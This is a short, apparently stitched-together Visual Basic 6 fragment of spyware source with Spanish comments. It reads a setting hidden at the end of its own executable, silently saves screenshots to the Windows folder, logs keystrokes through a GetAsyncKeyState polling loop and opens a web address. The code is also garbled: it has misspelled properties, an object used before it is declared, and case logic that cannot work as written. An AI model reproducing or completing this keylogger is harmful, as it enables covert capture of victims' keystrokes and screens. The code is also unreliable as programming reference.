Dim var As String * 20
dim var1 as string
Dim Str1 As String
Dim Str2 As String

Open app.pach & "\" & app.exename For Binary As #2
    Get #2, LOF(2) - 20, var
Close #2

Str1 = InStr(1, var, " ")
Str2 = Left(var, Str1 - 1)
text1.text = Str2

Captura.Quality = 70 

Dim Captura As New cJpeg

        Captura.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
        Captura.Quality = 70 ' aqui se ajusta la calidad, entre 1 y 100
        Captura.SampleScreen
        Captura.SaveFile ("c:\windows" & "\nombre" & ".jpg")

Dim i As Long

For i = 48 To 222

Select Case GetAsyncKeyState(i) = -32767

Case 8
If Right(Text1, 1) = " " Then GoTo nod
tip = Len(Text1) - 1
  Text1 = Left(Text1, tip)
nod:

Case 9
 Text1 = Text1 & "[Tab]"
 
Case 13
Text1 = Text1 & "<br>"

Case 17
 Text1 = Text1 & "[Ctrl]"
 
Case 18
 Text1 = Text1 & "[Alt]"

Case 27
 Text1 = Text1 & "[Esc]"

Case 32
Text1 = Text1 & " "
 
Case 91 Or 92
Text1 = Text1 & "[Win]"

Case 48 To 57
If GetAsyncKeyState(SHIFT) < 0 Then
  Text1 = Text1 & Chr2(i)
  Else
  Text1 = Text1 & Chr(i)
End If

Case 186 To 192
  If GetAsyncKeyState(SHIFT) < 0 Then
  Text1 = Text1 & Chr2(i - 100)
  Else
  Text1 = Text1 & Chr2(i)
  End If

Case 219 To 222
  If GetAsyncKeyState(SHIFT) < 0 Then
  Text1 = Text1 & Chr2(i - 100)
  Else
  Text1 = Text1 & Chr2(i)
  End If

Case 96 To 111
  Text1 = Text1 & Chr2(i)

End Select

Next

text1.maxlegth = 1900

Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

ShellExecuteA Me.hWnd, "Open", "http://www.dex.com", vbNullString, vbNullString, 1